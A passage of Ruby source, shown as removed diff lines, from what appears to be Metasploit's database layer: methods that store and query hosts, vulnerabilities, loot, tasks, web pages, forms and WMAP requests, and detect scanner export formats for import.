'refs.id' => refs_ids }).sort { |a,b| - ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length - }.first - end - - # Return if we matched based on service - return vuln if vuln - - # Try to find an existing vulnerability with the same host & references - # If there are multiple matches, choose the one with the most matches - refs_ids = refs.map{|x| x.id } - vuln = host.vulns.find(:all, :include => [:refs], :conditions => { 'service_id' => nil, 'refs.id' => refs_ids }).sort { |a,b| - ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length - }.first - - return vuln - end - - - def find_vuln_by_details(details_map, host, service=nil) - - # Create a modified version of the criteria in order to match against - # the joined version of the fields - - crit = {} - details_map.each_pair do |k,v| - crit[ "vuln_details.#{k}" ] = v - end - - vuln = nil - - if service - vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit) - end - - # Return if we matched based on service - return vuln if vuln - - # Prevent matches against other services - crit["vulns.service_id"] = nil if service - vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit) - - return vuln - end - - def get_vuln(wspace, host, service, name, data='') - raise RuntimeError, "Not workspace safe: #{caller.inspect}" - ::ActiveRecord::Base.connection_pool.with_connection { - vuln = nil - if (service) - vuln = ::Mdm::Vuln.find.where("name = ? and service_id = ? and host_id = ?", name, service.id, host.id).order("vulns.id DESC").first() - else - vuln = ::Mdm::Vuln.find.where("name = ? and host_id = ?", name, host.id).first() - end - - return vuln - } - end - - # - # Find or create a reference matching this name - # - def find_or_create_ref(opts) - ret = {} - ret[:ref] = get_ref(opts[:name]) - return ret[:ref] if ret[:ref] - - ::ActiveRecord::Base.connection_pool.with_connection { - ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name]) - if ref and ref.changed? - ref.save! - end - ret[:ref] = ref - } - end - - def get_ref(name) - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Ref.find_by_name(name) - } - end - - # - # Populate the vuln_details table with additional - # information, matched by a specific criteria - # - def report_vuln_details(vuln, details) - ::ActiveRecord::Base.connection_pool.with_connection { - detail = ::Mdm::VulnDetail.where(( details.delete(:key) || {} ).merge(:vuln_id => vuln.id)).first - if detail - details.each_pair do |k,v| - detail[k] = v - end - detail.save! if detail.changed? - detail - else - detail = ::Mdm::VulnDetail.create(details.merge(:vuln_id => vuln.id)) - end - } - end - - # - # Update vuln_details records en-masse based on specific criteria - # Note that this *can* update data across workspaces - # - def update_vuln_details(details) - ::ActiveRecord::Base.connection_pool.with_connection { - criteria = details.delete(:key) || {} - ::Mdm::VulnDetail.update(key, details) - } - end - - # - # Populate the host_details table with additional - # information, matched by a specific criteria - # - def report_host_details(host, details) - ::ActiveRecord::Base.connection_pool.with_connection { - - detail = ::Mdm::HostDetail.where(( details.delete(:key) || {} ).merge(:host_id => host.id)).first - if detail - details.each_pair do |k,v| - detail[k] = v - end - detail.save! if detail.changed? - detail - else - detail = ::Mdm::HostDetail.create(details.merge(:host_id => host.id)) - end - } - end - - # report_exploit() used to be used to track sessions and which modules - # opened them. That information is now available with the session table - # directly. TODO: kill this completely some day -- for now just warn if - # some other UI is actually using it. - def report_exploit(opts={}) - wlog("Deprecated method call: report_exploit()\n" + - "report_exploit() options: #{opts.inspect}\n" + - "report_exploit() call stack:\n\t#{caller.join("\n\t")}" - ) - end - - # - # Deletes a host and associated data matching this address/comm - # - def del_host(wspace, address, comm='') - ::ActiveRecord::Base.connection_pool.with_connection { - address, scope = address.split('%', 2) - host = wspace.hosts.find_by_address_and_comm(address, comm) - host.destroy if host - } - end - - # - # Deletes a port and associated vulns matching this port - # - def del_service(wspace, address, proto, port, comm='') - - host = get_host(:workspace => wspace, :address => address) - return unless host - - ::ActiveRecord::Base.connection_pool.with_connection { - host.services.where({:proto => proto, :port => port}).each { |s| s.destroy } - } - end - - # - # Find a reference matching this name - # - def has_ref?(name) - ::ActiveRecord::Base.connection_pool.with_connection { - Mdm::Ref.find_by_name(name) - } - end - - # - # Find a vulnerability matching this name - # - def has_vuln?(name) - ::ActiveRecord::Base.connection_pool.with_connection { - Mdm::Vuln.find_by_name(name) - } - end - - # - # Look for an address across all comms - # - def has_host?(wspace,addr) - ::ActiveRecord::Base.connection_pool.with_connection { - address, scope = addr.split('%', 2) - wspace.hosts.find_by_address(addr) - } - end - - def events(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.events.find :all, :order => 'created_at ASC' - } - end - - def report_event(opts = {}) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - return if not wspace # Temp fix? - uname = opts.delete(:username) - - if ! opts[:host].kind_of? ::Mdm::Host and opts[:host] - opts[:host] = report_host(:workspace => wspace, :host => opts[:host]) - end - - ::Mdm::Event.create(opts.merge(:workspace_id => wspace[:id], :username => uname)) - } - end - - # - # Loot collection - # - # - # This method iterates the loot table calling the supplied block with the - # instance of each entry. - # - def each_loot(wspace=workspace, &block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.loots.each do |note| - block.call(note) - end - } - end - - # - # Find or create a loot matching this type/data - # - def find_or_create_loot(opts) - report_loot(opts) - end - - def report_loot(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - path = opts.delete(:path) || (raise RuntimeError, "A loot :path is required") - - host = nil - addr = nil - - # Report the host so it's there for the Proc to use below - if opts[:host] - if opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - else - host = report_host({:workspace => wspace, :host => opts[:host]}) - addr = normalize_host(opts[:host]) - end - end - - ret = {} - - ltype = opts.delete(:type) || opts.delete(:ltype) || (raise RuntimeError, "A loot :type or :ltype is required") - ctype = opts.delete(:ctype) || opts.delete(:content_type) || 'text/plain' - name = opts.delete(:name) - info = opts.delete(:info) - data = opts[:data] - loot = wspace.loots.new - - if host - loot.host_id = host[:id] - end - if opts[:service] and opts[:service].kind_of? ::Mdm::Service - loot.service_id = opts[:service][:id] - end - - loot.path = path - loot.ltype = ltype - loot.content_type = ctype - loot.data = data - loot.name = name if name - loot.info = info if info - msf_import_timestamps(opts,loot) - loot.save! - - if !opts[:created_at] -=begin - if host - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! - end -=end - end - - ret[:loot] = loot - } - end - - # - # This methods returns a list of all loot in the database - # - def loots(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.loots - } - end - - # - # Find or create a task matching this type/data - # - def find_or_create_task(opts) - report_task(opts) - end - - def report_task(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - path = opts.delete(:path) || (raise RuntimeError, "A task :path is required") - - ret = {} - - user = opts.delete(:user) - desc = opts.delete(:desc) - error = opts.delete(:error) - info = opts.delete(:info) - mod = opts.delete(:mod) - options = opts.delete(:options) - prog = opts.delete(:prog) - result = opts.delete(:result) - completed_at = opts.delete(:completed_at) - task = wspace.tasks.new - - task.created_by = user - task.description = desc - task.error = error if error - task.info = info - task.module = mod - task.options = options - task.path = path - task.progress = prog - task.result = result if result - msf_import_timestamps(opts,task) - # Having blank completed_ats, while accurate, will cause unstoppable tasks. - if completed_at.nil? || completed_at.empty? - task.completed_at = opts[:updated_at] - else - task.completed_at = completed_at - end - task.save! - ret[:task] = task - } - end - - # - # This methods returns a list of all tasks in the database - # - def tasks(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.tasks - } - end - - - # - # Find or create a task matching this type/data - # - def find_or_create_report(opts) - report_report(opts) - end - - def report_report(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - path = opts.delete(:path) || (raise RuntimeError, "A report :path is required") - - ret = {} - user = opts.delete(:user) - options = opts.delete(:options) - rtype = opts.delete(:rtype) - report = wspace.reports.new - report.created_by = user - report.options = options - report.rtype = rtype - report.path = path - msf_import_timestamps(opts,report) - report.save! - - ret[:task] = report - } - end - - # - # This methods returns a list of all reports in the database - # - def reports(wspace=workspace) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.reports - } - end - - # - # WMAP - # Support methods - # - - # - # Report a Web Site to the database. WebSites must be tied to an existing Service - # - # opts MUST contain - # +:service+:: the service object this site should be associated with - # +:vhost+:: the virtual host name for this particular web site` - # - # If +:service+ is NOT specified, the following values are mandatory - # +:host+:: the ip address of the server hosting the web site - # +:port+:: the port number of the associated web site - # +:ssl+:: whether or not SSL is in use on this port - # - # These values will be used to create new host and service records - # - # opts can contain - # +:options+:: a hash of options for accessing this particular web site - # +:info+:: if present, report the service with this info - # - # Duplicate records for a given host, port, vhost combination will be overwritten - # - def report_web_site(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { |conn| - wspace = opts.delete(:workspace) || workspace - vhost = opts.delete(:vhost) - - addr = nil - port = nil - name = nil - serv = nil - info = nil - - if opts[:service] and opts[:service].kind_of?(::Mdm::Service) - serv = opts[:service] - else - addr = opts[:host] - port = opts[:port] - name = opts[:ssl] ? 'https' : 'http' - info = opts[:info] - if not (addr and port) - raise ArgumentError, "report_web_site requires service OR host/port/ssl" - end - - # Force addr to be the address and not hostname - addr = Rex::Socket.getaddress(addr, true) - end - - ret = {} - - host = serv ? serv.host : find_or_create_host( - :workspace => wspace, - :host => addr, - :state => Msf::HostState::Alive - ) - - if host.name.to_s.empty? - host.name = vhost - host.save! - end - - serv = serv ? serv : find_or_create_service( - :workspace => wspace, - :host => host, - :port => port, - :proto => 'tcp', - :state => 'open' - ) - - # Change the service name if it is blank or it has - # been explicitly specified. - if opts.keys.include?(:ssl) or serv.name.to_s.empty? - name = opts[:ssl] ? 'https' : 'http' - serv.name = name - end - # Add the info if it's there. - unless info.to_s.empty? - serv.info = info - end - serv.save! if serv.changed? -=begin - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! -=end - - vhost ||= host.address - site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id]) - site.options = opts[:options] if opts[:options] - - # XXX: - msf_import_timestamps(opts, site) - site.save! - - ret[:web_site] = site - } - end - - # - # Report a Web Page to the database. WebPage must be tied to an existing Web Site - # - # opts MUST contain - # +:web_site+:: the web site object that this page should be associated with - # +:path+:: the virtual host name for this particular web site - # +:code+:: the http status code from requesting this page - # +:headers+:: this is a HASH of headers (lowercase name as key) of ARRAYs of values - # +:body+:: the document body of the server response - # +:query+:: the query string after the path - # - # If web_site is NOT specified, the following values are mandatory - # +:host+:: the ip address of the server hosting the web site - # +:port+:: the port number of the associated web site - # +:vhost+:: the virtual host for this particular web site - # +:ssl+:: whether or not SSL is in use on this port - # - # These values will be used to create new host, service, and web_site records - # - # opts can contain - # +:cookie+:: the Set-Cookie headers, merged into a string - # +:auth+:: the Authorization headers, merged into a string - # +:ctype+:: the Content-Type headers, merged into a string - # +:mtime+:: the timestamp returned from the server of the last modification time - # +:location+:: the URL that a redirect points to - # - # Duplicate records for a given web_site, path, and query combination will be overwritten - # - - def report_web_page(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - - path = opts[:path] - code = opts[:code].to_i - body = opts[:body].to_s - query = opts[:query].to_s - headers = opts[:headers] - site = nil - - if not (path and code and body and headers) - raise ArgumentError, "report_web_page requires the path, query, code, body, and headers parameters" - end - - if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) - site = opts.delete(:web_site) - else - site = report_web_site( - :workspace => wspace, - :host => opts[:host], :port => opts[:port], - :vhost => opts[:host], :ssl => opts[:ssl] - ) - if not site - raise ArgumentError, "report_web_page was unable to create the associated web site" - end - end - - ret = {} - - page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query) - page.code = code - page.body = body - page.headers = headers - page.cookie = opts[:cookie] if opts[:cookie] - page.auth = opts[:auth] if opts[:auth] - page.mtime = opts[:mtime] if opts[:mtime] - page.ctype = opts[:ctype] if opts[:ctype] - page.location = opts[:location] if opts[:location] - msf_import_timestamps(opts, page) - page.save! - - ret[:web_page] = page - } - - end - - - # - # Report a Web Form to the database. WebForm must be tied to an existing Web Site - # - # opts MUST contain - # +:web_site+:: the web site object that this page should be associated with - # +:path+:: the virtual host name for this particular web site - # +:query+:: the query string that is appended to the path (not valid for GET) - # +:method+:: the form method, one of GET, POST, or PATH - # +:params+:: an ARRAY of all parameters and values specified in the form - # - # If web_site is NOT specified, the following values are mandatory - # +:host+:: the ip address of the server hosting the web site - # +:port+:: the port number of the associated web site - # +:vhost+:: the virtual host for this particular web site - # +:ssl+:: whether or not SSL is in use on this port - # - # Duplicate records for a given web_site, path, method, and params combination will be overwritten - # - - def report_web_form(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - - path = opts[:path] - meth = opts[:method].to_s.upcase - para = opts[:params] - quer = opts[:query].to_s - site = nil - - if not (path and meth) - raise ArgumentError, "report_web_form requires the path and method parameters" - end - - if not %W{GET POST PATH}.include?(meth) - raise ArgumentError, "report_web_form requires the method to be one of GET, POST, PATH" - end - - if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) - site = opts.delete(:web_site) - else - site = report_web_site( - :workspace => wspace, - :host => opts[:host], :port => opts[:port], - :vhost => opts[:host], :ssl => opts[:ssl] - ) - if not site - raise ArgumentError, "report_web_form was unable to create the associated web site" - end - end - - ret = {} - - # Since one of our serialized fields is used as a unique parameter, we must do the final - # comparisons through ruby and not SQL. - - form = nil - ::Mdm::WebForm.find_all_by_web_site_id_and_path_and_method_and_query(site[:id], path, meth, quer).each do |xform| - if xform.params == para - form = xform - break - end - end - if not form - form = ::Mdm::WebForm.new - form.web_site_id = site[:id] - form.path = path - form.method = meth - form.params = para - form.query = quer - end - - msf_import_timestamps(opts, form) - form.save! - ret[:web_form] = form - } - end - - - # - # Report a Web Vuln to the database. WebVuln must be tied to an existing Web Site - # - # opts MUST contain - # +:web_site+:: the web site object that this page should be associated with - # +:path+:: the virtual host name for this particular web site - # +:query+:: the query string appended to the path (not valid for GET method flaws) - # +:method+:: the form method, one of GET, POST, or PATH - # +:params+:: an ARRAY of all parameters and values specified in the form - # +:pname+:: the specific field where the vulnerability occurs - # +:proof+:: the string showing proof of the vulnerability - # +:risk+:: an INTEGER value from 0 to 5 indicating the risk (5 is highest) - # +:name+:: the string indicating the type of vulnerability - # - # If web_site is NOT specified, the following values are mandatory - # +:host+:: the ip address of the server hosting the web site - # +:port+:: the port number of the associated web site - # +:vhost+:: the virtual host for this particular web site - # +:ssl+:: whether or not SSL is in use on this port - # - # - # Duplicate records for a given web_site, path, method, pname, and name - # combination will be overwritten - # - - def report_web_vuln(opts) - return if not active - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - - path = opts[:path] - meth = opts[:method] - para = opts[:params] || [] - quer = opts[:query].to_s - pname = opts[:pname] - proof = opts[:proof] - risk = opts[:risk].to_i - name = opts[:name].to_s.strip - blame = opts[:blame].to_s.strip - desc = opts[:description].to_s.strip - conf = opts[:confidence].to_i - cat = opts[:category].to_s.strip - payload = opts[:payload].to_s - owner = opts[:owner] ? opts[:owner].shortname : nil - - - site = nil - - if not (path and meth and proof and pname) - raise ArgumentError, "report_web_vuln requires the path, method, proof, risk, name, params, and pname parameters. Received #{opts.inspect}" - end - - if not %W{GET POST PATH}.include?(meth) - raise ArgumentError, "report_web_vuln requires the method to be one of GET, POST, PATH. Received '#{meth}'" - end - - if risk < 0 or risk > 5 - raise ArgumentError, "report_web_vuln requires the risk to be between 0 and 5 (inclusive). Received '#{risk}'" - end - - if conf < 0 or conf > 100 - raise ArgumentError, "report_web_vuln requires the confidence to be between 1 and 100 (inclusive). Received '#{conf}'" - end - - if cat.empty? - raise ArgumentError, "report_web_vuln requires the category to be a valid string" - end - - if name.empty? - raise ArgumentError, "report_web_vuln requires the name to be a valid string" - end - - if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) - site = opts.delete(:web_site) - else - site = report_web_site( - :workspace => wspace, - :host => opts[:host], :port => opts[:port], - :vhost => opts[:host], :ssl => opts[:ssl] - ) - if not site - raise ArgumentError, "report_web_form was unable to create the associated web site" - end - end - - ret = {} - - meth = meth.to_s.upcase - - vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer) - vuln.name = name - vuln.risk = risk - vuln.params = para - vuln.proof = proof.to_s - vuln.category = cat - vuln.blame = blame - vuln.description = desc - vuln.confidence = conf - vuln.payload = payload - vuln.owner = owner - - msf_import_timestamps(opts, vuln) - vuln.save! - - ret[:web_vuln] = vuln - } - end - - # - # WMAP - # Selected host - # - def selected_host - ::ActiveRecord::Base.connection_pool.with_connection { - selhost = ::Mdm::WmapTarget.where("selected != 0").first() - if selhost - return selhost.host - else - return - end - } - end - - # - # WMAP - # Selected target - # - def selected_wmap_target - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapTarget.find.where("selected != 0") - } - end - - # - # WMAP - # Selected port - # - def selected_port - selected_wmap_target.port - end - - # - # WMAP - # Selected ssl - # - def selected_ssl - selected_wmap_target.ssl - end - - # - # WMAP - # Selected id - # - def selected_id - selected_wmap_target.object_id - end - - # - # WMAP - # This method iterates the requests table identifiying possible targets - # This method wiil be remove on second phase of db merging. - # - def each_distinct_target(&block) - request_distinct_targets.each do |target| - block.call(target) - end - end - - # - # WMAP - # This method returns a list of all possible targets available in requests - # This method wiil be remove on second phase of db merging. - # - def request_distinct_targets - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl') - } - end - - # - # WMAP - # This method iterates the requests table returning a list of all requests of a specific target - # - def each_request_target_with_path(&block) - target_requests('AND wmap_requests.path IS NOT NULL').each do |req| - block.call(req) - end - end - - # - # WMAP - # This method iterates the requests table returning a list of all requests of a specific target - # - def each_request_target_with_query(&block) - target_requests('AND wmap_requests.query IS NOT NULL').each do |req| - block.call(req) - end - end - - # - # WMAP - # This method iterates the requests table returning a list of all requests of a specific target - # - def each_request_target_with_body(&block) - target_requests('AND wmap_requests.body IS NOT NULL').each do |req| - block.call(req) - end - end - - # - # WMAP - # This method iterates the requests table returning a list of all requests of a specific target - # - def each_request_target_with_headers(&block) - target_requests('AND wmap_requests.headers IS NOT NULL').each do |req| - block.call(req) - end - end - - # - # WMAP - # This method iterates the requests table returning a list of all requests of a specific target - # - def each_request_target(&block) - target_requests('').each do |req| - block.call(req) - end - end - - # - # WMAP - # This method returns a list of all requests from target - # - def target_requests(extra_condition) - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapRequest.where("wmap_requests.host = ? AND wmap_requests.port = ? #{extra_condition}",selected_host,selected_port) - } - end - - # - # WMAP - # This method iterates the requests table calling the supplied block with the - # request instance of each entry. - # - def each_request(&block) - requests.each do |request| - block.call(request) - end - end - - # - # WMAP - # This method allows to query directly the requests table. To be used mainly by modules - # - def request_sql(host,port,extra_condition) - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapRequest.where("wmap_requests.host = ? AND wmap_requests.port = ? #{extra_condition}", host , port) - } - end - - # - # WMAP - # This methods returns a list of all targets in the database - # - def requests - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapRequest.find(:all) - } - end - - # - # WMAP - # This method iterates the targets table calling the supplied block with the - # target instance of each entry. - # - def each_target(&block) - targets.each do |target| - block.call(target) - end - end - - # - # WMAP - # This methods returns a list of all targets in the database - # - def targets - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapTarget.find(:all) - } - end - - # - # WMAP - # This methods deletes all targets from targets table in the database - # - def delete_all_targets - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapTarget.delete_all - } - end - - # - # WMAP - # Find a target matching this id - # - def get_target(id) - ::ActiveRecord::Base.connection_pool.with_connection { - target = ::Mdm::WmapTarget.where("id = ?", id).first() - return target - } - end - - # - # WMAP - # Create a target - # - def create_target(host,port,ssl,sel) - ::ActiveRecord::Base.connection_pool.with_connection { - tar = ::Mdm::WmapTarget.create( - :host => host, - :address => host, - :port => port, - :ssl => ssl, - :selected => sel - ) - #framework.events.on_db_target(rec) - } - end - - - # - # WMAP - # Create a request (by hand) - # - def create_request(host,port,ssl,meth,path,headers,query,body,respcode,resphead,response) - ::ActiveRecord::Base.connection_pool.with_connection { - req = ::Mdm::WmapRequest.create( - :host => host, - :address => host, - :port => port, - :ssl => ssl, - :meth => meth, - :path => path, - :headers => headers, - :query => query, - :body => body, - :respcode => respcode, - :resphead => resphead, - :response => response - ) - #framework.events.on_db_request(rec) - } - end - - # - # WMAP - # Quick way to query the database (used by wmap_sql) - # - def sql_query(sqlquery) - ::ActiveRecord::Base.connection_pool.with_connection { - ActiveRecord::Base.connection.select_all(sqlquery) - } - end - - - # Returns a REXML::Document from the given data. - def rexmlify(data) - if data.kind_of?(REXML::Document) - return data - else - # Make an attempt to recover from a REXML import fail, since - # it's better than dying outright. - begin - return REXML::Document.new(data) - rescue REXML::ParseException => e - dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") - return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }) - end - end - end - - # Handles timestamps from Metasploit Express/Pro imports. - def msf_import_timestamps(opts,obj) - obj.created_at = opts["created_at"] if opts["created_at"] - obj.created_at = opts[:created_at] if opts[:created_at] - obj.updated_at = opts["updated_at"] ? opts["updated_at"] : obj.created_at - obj.updated_at = opts[:updated_at] ? opts[:updated_at] : obj.created_at - return obj - end - - ## - # - # Import methods - # - ## - - # - # Generic importer that automatically determines the file type being - # imported. Since this looks for vendor-specific strings in the given - # file, there shouldn't be any false detections, but no guarantees. - # - def import_file(args={}, &block) - filename = args[:filename] || args['filename'] - wspace = args[:wspace] || args['wspace'] || workspace - @import_filedata = {} - @import_filedata[:filename] = filename - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(4) - end - if data.nil? - raise DBImportError.new("Zero-length file") - end - - case data[0,4] - when "PK\x03\x04" - data = Zip::ZipFile.open(filename) - when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" - data = PacketFu::PcapFile.new(:filename => filename) - else - ::File.open(filename, 'rb') do |f| - sz = f.stat.size - data = f.read(sz) - end - end - if block - import(args.merge(:data => data)) { |type,data| yield type,data } - else - import(args.merge(:data => data)) - end - - end - - # A dispatcher method that figures out the data's file type, - # and sends it off to the appropriate importer. Note that - # import_file_detect will raise an error if the filetype - # is unknown. - def import(args={}, &block) - data = args[:data] || args['data'] - wspace = args[:wspace] || args['wspace'] || workspace - ftype = import_filetype_detect(data) - yield(:filetype, @import_filedata[:type]) if block - self.send "import_#{ftype}".to_sym, args, &block - end - - # Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml - # :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog - # :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml - # :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml - # If there is no match, an error is raised instead. - def import_filetype_detect(data) - - if data and data.kind_of? Zip::ZipFile - raise DBImportError.new("The zip file provided is empty.") if data.entries.empty? - @import_filedata ||= {} - @import_filedata[:zip_filename] = File.split(data.to_s).last - @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") - @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} - begin - @import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise - @import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1] - @import_filedata[:type] = "Metasploit ZIP Report" - return :msf_zip - rescue ::Interrupt - raise $! - rescue ::Exception - raise DBImportError.new("The zip file provided is not a Metasploit ZIP report") - end - end - - if data and data.kind_of? PacketFu::PcapFile - # Don't check for emptiness here because unlike other formats, we - # haven't read any actual data in yet, only magic bytes to discover - # that this is indeed a pcap file. - #raise DBImportError.new("The pcap file provided is empty.") if data.body.empty? - @import_filedata ||= {} - @import_filedata[:type] = "Libpcap Packet Capture" - return :libpcap - end - - # This is a text string, lets make sure its treated as binary - data = data.unpack("C*").pack("C*") - if data and data.to_s.strip.length == 0 - raise DBImportError.new("The data provided to the import function was empty") - end - - # Parse the first line or 4k of data from the file - di = data.index("\n") || 4096 - - firstline = data[0, di] - @import_filedata ||= {} - if (firstline.index("<NeXposeSimpleXML")) - @import_filedata[:type] = "NeXpose Simple XML" - return :nexpose_simplexml - elsif (firstline.index("<FusionVM")) - @import_filedata[:type] = "FusionVM XML" - return :fusionvm_xml - elsif (firstline.index("<NexposeReport")) - @import_filedata[:type] = "NeXpose XML Report" - return :nexpose_rawxml - elsif (firstline.index("Name,Manufacturer,Device Type,Model,IP Address,Serial Number,Location,Operating System")) - @import_filedata[:type] = "Spiceworks CSV Export" - return :spiceworks_csv - elsif (firstline.index("<scanJob>")) - @import_filedata[:type] = "Retina XML" - return :retina_xml - elsif (firstline.index(/<get_reports_response status=['"]200['"] status_text=['"]OK['"]>/)) - @import_filedata[:type] = "OpenVAS XML" - return :openvas_new_xml - elsif (firstline.index(/<report id=['"]/)) - @import_filedata[:type] = "OpenVAS XML" - return :openvas_new_xml - elsif (firstline.index("<NessusClientData>")) - @import_filedata[:type] = "Nessus XML (v1)" - return :nessus_xml - elsif (firstline.index("<SecScan ID=")) - @import_filedata[:type] = "Microsoft Baseline Security Analyzer" - return :mbsa_xml - elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/) - @import_filedata[:type] = "Burp Session XML" - return :burp_session_xml - elsif (firstline.index("<?xml")) - # it's xml, check for root tags we can handle - line_count = 0 - data.each_line { |line| - line =~ /<([a-zA-Z0-9\-\_]+)[ >]/ - - case $1 - when "niktoscan" - @import_filedata[:type] = "Nikto XML" - return :nikto_xml - when "nmaprun" - @import_filedata[:type] = "Nmap XML" - return :nmap_xml - when "openvas-report" - @import_filedata[:type] = "OpenVAS Report" - return :openvas_xml - when "NessusClientData" - @import_filedata[:type] = "Nessus XML (v1)" - return :nessus_xml - when "NessusClientData_v2" - @import_filedata[:type] = "Nessus XML (v2)" - return :nessus_xml_v2 - when "SCAN" - @import_filedata[:type] = "Qualys Scan XML" - return :qualys_scan_xml - when "report" - @import_filedata[:type] = "Wapiti XML" - return :wapiti_xml - when "ASSET_DATA_REPORT" - @import_filedata[:type] = "Qualys Asset XML" - return :qualys_asset_xml - when /MetasploitExpressV[1234]/ - @import_filedata[:type] = "Metasploit XML" - return :msf_xml - when /MetasploitV4/ - @import_filedata[:type] = "Metasploit XML" - return :msf_xml - when /netsparker/ - @import_filedata[:type] = "NetSparker XML" - return :netsparker_xml - when /audits?/ # <audit> and <audits> are both valid for nCircle. wtfmate. - @import_filedata[:type] = "IP360 XML v3" - return :ip360_xml_v3 - when /ontology/ - @import_filedata[:type] = "IP360 ASPL" - return :ip360_aspl_xml - when /ReportInfo/ - @import_filedata[:type] = "Foundstone" - return :foundstone_xml - when /ScanGroup/ - @import_filedata[:type] = "Acunetix" - return :acunetix_xml - when /AppScanInfo/ # Actually the second line - @import_filedata[:type] = "Appscan" - return :appscan_xml - when "entities" - if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni - @import_filedata[:type] = "CI" - return :ci_xml - end - when "main" - @import_filedata[:type] = "Outpost24 XML" - return :outpost24_xml - else - # Give up if we haven't hit the root tag in the first few lines - break if line_count > 10 - end - line_count += 1 - } - elsif (firstline.index("timestamps|||scan_start")) - @import_filedata[:type] = "Nessus NBE Report" - # then it's a nessus nbe - return :nessus_nbe - elsif (firstline.index("# amap v")) - # then it's an amap mlog - @import_filedata[:type] = "Amap Log -m" - return :amap_mlog - elsif (firstline.index("amap v")) - # then it's an amap log - @import_filedata[:type] = "Amap Log" - return :amap_log - elsif ipv46_validator(firstline) - # then its an IP list - @import_filedata[:type] = "IP Address List" - return :ip_list - elsif (data[0,1024].index("<netsparker")) - @import_filedata[:type] = "NetSparker XML" - return :netsparker_xml - elsif (firstline.index("# Metasploit PWDump Export")) - # then it's a Metasploit PWDump export - @import_filedata[:type] = "msf_pwdump" - return :msf_pwdump - end - - raise DBImportError.new("Could not automatically determine file type") - end - - # Boils down the validate_import_file to a boolean - def validate_import_file(data) - begin - import_filetype_detect(data) - rescue DBImportError - return false - end - return true - end - - # - # Imports Nikto scan data from -Format xml as notes. - # - def import_nikto_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - doc = rexmlify(data) - doc.elements.each do |f| - f.elements.each('scandetails') do |host| - # Get host information - addr = host.attributes['targetip'] - next if not addr - if bl.include? addr - next - else - yield(:address,addr) if block - end - # Get service information - port = host.attributes['targetport'] - next if port.to_i == 0 - uri = URI.parse(host.attributes['sitename']) rescue nil - next unless uri and uri.scheme - # Collect and report scan descriptions. - host.elements.each do |item| - if item.elements['description'] - desc_text = item.elements['description'].text - next if desc_text.nil? or desc_text.empty? - desc_data = { - :workspace => wspace, - :host => addr, - :type => "service.nikto.scan.description", - :data => desc_text, - :proto => "tcp", - :port => port.to_i, - :sname => uri.scheme, - :update => :unique_data, - :task => args[:task] - } - # Always report it as a note. - report_note(desc_data) - # Sometimes report it as a vuln, too. - # XXX: There's a Vuln.info field but nothing reads from it? See Bug #5837 